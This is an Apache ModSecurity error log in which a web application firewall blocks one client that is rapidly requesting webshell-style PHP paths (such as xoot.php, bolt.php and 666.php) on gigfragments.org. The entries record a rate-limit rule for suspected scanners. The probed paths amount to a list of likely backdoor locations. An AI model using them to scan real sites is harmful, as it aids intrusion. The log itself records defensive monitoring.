[Sat Feb 28 01:00:57.610456 2026] [:error] [pid 15240:tid 15247] [client 20.220.196.236:43898] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xoot.php"] [unique_id "aaHNyS1iKL_41Rk9A9Nk9wAAAAU"]
[Sat Feb 28 01:00:58.023686 2026] [:error] [pid 15100:tid 15176] [client 20.220.196.236:43941] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xoot.php"] [unique_id "aaHNykOEbzcINan_ctK3yAAAAFA"]
[Sat Feb 28 01:00:58.437197 2026] [:error] [pid 15240:tid 15266] [client 20.220.196.236:43780] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/X57.php"] [unique_id "aaHNyi1iKL_41Rk9A9Nk-QAAABg"]
[Sat Feb 28 01:00:58.848145 2026] [:error] [pid 38620:tid 38638] [client 20.220.196.236:43850] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/X57.php"] [unique_id "aaHNygP6I7SRqrhh7RrjyAAAAVA"]
[Sat Feb 28 01:00:59.257589 2026] [:error] [pid 38620:tid 38625] [client 20.220.196.236:43840] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/X57.php"] [unique_id "aaHNywP6I7SRqrhh7RrjywAAAUM"]
[Sat Feb 28 01:00:59.669978 2026] [:error] [pid 38620:tid 38628] [client 20.220.196.236:43804] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/X57.php"] [unique_id "aaHNywP6I7SRqrhh7RrjzgAAAUY"]
[Sat Feb 28 01:01:00.081172 2026] [:error] [pid 38586:tid 38613] [client 20.220.196.236:43867] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file59.php"] [unique_id "aaHNzL_i6nvKNhjFW7UtOQAAARg"]
[Sat Feb 28 01:01:00.492584 2026] [:error] [pid 38586:tid 38594] [client 20.220.196.236:43276] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file59.php"] [unique_id "aaHNzL_i6nvKNhjFW7UtPAAAAQU"]
[Sat Feb 28 01:01:00.904170 2026] [:error] [pid 38586:tid 38610] [client 20.220.196.236:43281] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file59.php"] [unique_id "aaHNzL_i6nvKNhjFW7UtQQAAARU"]
[Sat Feb 28 01:01:01.314054 2026] [:error] [pid 38620:tid 38629] [client 20.220.196.236:43866] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file59.php"] [unique_id "aaHNzQP6I7SRqrhh7Rrj1QAAAUc"]
[Sat Feb 28 01:01:01.724324 2026] [:error] [pid 15240:tid 15259] [client 20.220.196.236:43791] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaHNzS1iKL_41Rk9A9Nk_QAAABE"]
[Sat Feb 28 01:01:02.135937 2026] [:error] [pid 38620:tid 38632] [client 20.220.196.236:43747] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaHNzgP6I7SRqrhh7Rrj1wAAAUo"]
[Sat Feb 28 01:01:02.549486 2026] [:error] [pid 38620:tid 38625] [client 20.220.196.236:43782] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaHNzgP6I7SRqrhh7Rrj2gAAAUM"]
[Sat Feb 28 01:01:02.961921 2026] [:error] [pid 15099:tid 15156] [client 20.220.196.236:43876] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaHNzunvP2vtPjYDq_guSQAAANc"]
[Sat Feb 28 01:01:03.374876 2026] [:error] [pid 38586:tid 38613] [client 20.220.196.236:43826] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xa.php"] [unique_id "aaHNz7_i6nvKNhjFW7UtRwAAARg"]
[Sat Feb 28 01:01:03.794999 2026] [:error] [pid 38586:tid 38602] [client 20.220.196.236:43797] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xa.php"] [unique_id "aaHNz7_i6nvKNhjFW7UtSQAAAQ0"]
[Sat Feb 28 01:01:04.206093 2026] [:error] [pid 38586:tid 38604] [client 20.220.196.236:43750] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xa.php"] [unique_id "aaHN0L_i6nvKNhjFW7UtSgAAAQ8"]
[Sat Feb 28 01:01:04.619187 2026] [:error] [pid 38620:tid 38623] [client 20.220.196.236:43945] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xa.php"] [unique_id "aaHN0AP6I7SRqrhh7Rrj3wAAAUE"]
[Sat Feb 28 01:01:05.033317 2026] [:error] [pid 15099:tid 15135] [client 20.220.196.236:43947] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/er.php"] [unique_id "aaHN0envP2vtPjYDq_guTgAAAMI"]
[Sat Feb 28 01:01:05.443816 2026] [:error] [pid 15100:tid 15164] [client 20.220.196.236:43805] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/er.php"] [unique_id "aaHN0UOEbzcINan_ctK3zwAAAEQ"]
[Sat Feb 28 01:01:05.853192 2026] [:error] [pid 15098:tid 15120] [client 20.220.196.236:43301] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/er.php"] [unique_id "aaHN0ckFqny8dQQbmTkd6AAAAI4"]
[Sat Feb 28 01:01:06.264479 2026] [:error] [pid 15100:tid 15177] [client 20.220.196.236:43788] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/er.php"] [unique_id "aaHN0kOEbzcINan_ctK30wAAAFE"]
[Sat Feb 28 01:01:06.678710 2026] [:error] [pid 15099:tid 15154] [client 20.220.196.236:43887] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fault.php"] [unique_id "aaHN0unvP2vtPjYDq_guUQAAANU"]
[Sat Feb 28 01:01:07.093727 2026] [:error] [pid 38586:tid 38596] [client 20.220.196.236:43882] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fault.php"] [unique_id "aaHN07_i6nvKNhjFW7UtTwAAAQc"]
[Sat Feb 28 01:01:07.503134 2026] [:error] [pid 38586:tid 38611] [client 20.220.196.236:43961] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fault.php"] [unique_id "aaHN07_i6nvKNhjFW7UtUwAAARY"]
[Sat Feb 28 01:01:07.913179 2026] [:error] [pid 38586:tid 38613] [client 20.220.196.236:43813] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fault.php"] [unique_id "aaHN07_i6nvKNhjFW7UtVwAAARg"]
[Sat Feb 28 01:01:08.326699 2026] [:error] [pid 38586:tid 38604] [client 20.220.196.236:43909] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "aaHN1L_i6nvKNhjFW7UtWgAAAQ8"]
[Sat Feb 28 01:01:08.738744 2026] [:error] [pid 15100:tid 15176] [client 20.220.196.236:43869] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "aaHN1EOEbzcINan_ctK32wAAAFA"]
[Sat Feb 28 01:01:09.150216 2026] [:error] [pid 38586:tid 38589] [client 20.220.196.236:43735] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "aaHN1b_i6nvKNhjFW7UtXQAAAQA"]
[Sat Feb 28 01:01:09.561733 2026] [:error] [pid 38586:tid 38611] [client 20.220.196.236:43779] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "aaHN1b_i6nvKNhjFW7UtYQAAARY"]
[Sat Feb 28 01:01:09.977092 2026] [:error] [pid 38620:tid 38633] [client 20.220.196.236:43878] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "aaHN1QP6I7SRqrhh7Rrj5AAAAUs"]
[Sat Feb 28 01:01:10.393630 2026] [:error] [pid 15100:tid 15174] [client 20.220.196.236:43796] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "aaHN1kOEbzcINan_ctK33wAAAE4"]
[Sat Feb 28 01:01:10.804123 2026] [:error] [pid 15098:tid 15129] [client 20.220.196.236:43829] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "aaHN1skFqny8dQQbmTkd7QAAAJc"]
[Sat Feb 28 01:01:11.217042 2026] [:error] [pid 38620:tid 38632] [client 20.220.196.236:43863] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "aaHN1wP6I7SRqrhh7Rrj5QAAAUo"]
[Sat Feb 28 01:01:11.629090 2026] [:error] [pid 15098:tid 15123] [client 20.220.196.236:43737] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/leuk.php"] [unique_id "aaHN18kFqny8dQQbmTkd7wAAAJE"]
[Sat Feb 28 01:01:12.041810 2026] [:error] [pid 15240:tid 15250] [client 20.220.196.236:43883] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/leuk.php"] [unique_id "aaHN2C1iKL_41Rk9A9NlEQAAAAg"]
[Sat Feb 28 01:01:12.452029 2026] [:error] [pid 38586:tid 38603] [client 20.220.196.236:43830] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/leuk.php"] [unique_id "aaHN2L_i6nvKNhjFW7UtcgAAAQ4"]
[Sat Feb 28 01:01:12.862139 2026] [:error] [pid 38586:tid 38608] [client 20.220.196.236:43795] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/leuk.php"] [unique_id "aaHN2L_i6nvKNhjFW7UtdQAAARM"]
[Sat Feb 28 01:01:13.277723 2026] [:error] [pid 15100:tid 15174] [client 20.220.196.236:44003] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xqq.php"] [unique_id "aaHN2UOEbzcINan_ctK37QAAAE4"]
[Sat Feb 28 01:01:13.690157 2026] [:error] [pid 15100:tid 15169] [client 20.220.196.236:43761] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xqq.php"] [unique_id "aaHN2UOEbzcINan_ctK38AAAAEk"]
[Sat Feb 28 01:01:14.102956 2026] [:error] [pid 15240:tid 15247] [client 20.220.196.236:43835] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xqq.php"] [unique_id "aaHN2i1iKL_41Rk9A9NlFQAAAAU"]
[Sat Feb 28 01:01:14.512498 2026] [:error] [pid 15100:tid 15183] [client 20.220.196.236:43776] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xqq.php"] [unique_id "aaHN2kOEbzcINan_ctK39AAAAFc"]
[Sat Feb 28 01:01:14.921871 2026] [:error] [pid 15240:tid 15243] [client 20.220.196.236:43287] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kolda.php"] [unique_id "aaHN2i1iKL_41Rk9A9NlGwAAAAE"]
[Sat Feb 28 01:01:15.331610 2026] [:error] [pid 15240:tid 15258] [client 20.220.196.236:43895] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kolda.php"] [unique_id "aaHN2y1iKL_41Rk9A9NlHwAAABA"]
[Sat Feb 28 01:01:15.743166 2026] [:error] [pid 38620:tid 38646] [client 20.220.196.236:43809] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kolda.php"] [unique_id "aaHN2wP6I7SRqrhh7Rrj7QAAAVg"]
[Sat Feb 28 01:01:16.166166 2026] [:error] [pid 38620:tid 38639] [client 20.220.196.236:43881] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kolda.php"] [unique_id "aaHN3AP6I7SRqrhh7Rrj8QAAAVE"]
[Sat Feb 28 01:01:16.578220 2026] [:error] [pid 15240:tid 15265] [client 20.220.196.236:43954] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nw.php"] [unique_id "aaHN3C1iKL_41Rk9A9NlKAAAABc"]
[Sat Feb 28 01:01:16.991223 2026] [:error] [pid 15099:tid 15138] [client 20.220.196.236:43777] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nw.php"] [unique_id "aaHN3OnvP2vtPjYDq_guXwAAAMU"]
[Sat Feb 28 01:01:17.402881 2026] [:error] [pid 38620:tid 38630] [client 20.220.196.236:43716] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nw.php"] [unique_id "aaHN3QP6I7SRqrhh7Rrj9wAAAUg"]
[Sat Feb 28 01:01:17.814764 2026] [:error] [pid 15240:tid 15243] [client 20.220.196.236:43860] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nw.php"] [unique_id "aaHN3S1iKL_41Rk9A9NlLwAAAAE"]
[Sat Feb 28 01:01:18.224667 2026] [:error] [pid 15100:tid 15184] [client 20.220.196.236:43734] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "aaHN3kOEbzcINan_ctK3-wAAAFg"]
[Sat Feb 28 01:01:18.636036 2026] [:error] [pid 38620:tid 38645] [client 20.220.196.236:43958] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "aaHN3gP6I7SRqrhh7RrkDAAAAVc"]
[Sat Feb 28 01:01:19.047567 2026] [:error] [pid 15100:tid 15173] [client 20.220.196.236:43834] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "aaHN30OEbzcINan_ctK3_gAAAE0"]
[Sat Feb 28 01:01:19.458021 2026] [:error] [pid 15240:tid 15250] [client 20.220.196.236:43810] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "aaHN3y1iKL_41Rk9A9NlNgAAAAg"]
[Sat Feb 28 01:01:19.870792 2026] [:error] [pid 38620:tid 38646] [client 20.220.196.236:43726] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kj.php"] [unique_id "aaHN3wP6I7SRqrhh7RrkFwAAAVg"]
[Sat Feb 28 01:01:39.887620 2026] [:error] [pid 15100:tid 15163] [client 20.220.196.236:43853] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbhu.php"] [unique_id "aaHN80OEbzcINan_ctK4SAAAAEM"]
[Sat Feb 28 01:01:40.302661 2026] [:error] [pid 15098:tid 15120] [client 20.220.196.236:43897] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbhu.php"] [unique_id "aaHN9MkFqny8dQQbmTkeEQAAAI4"]
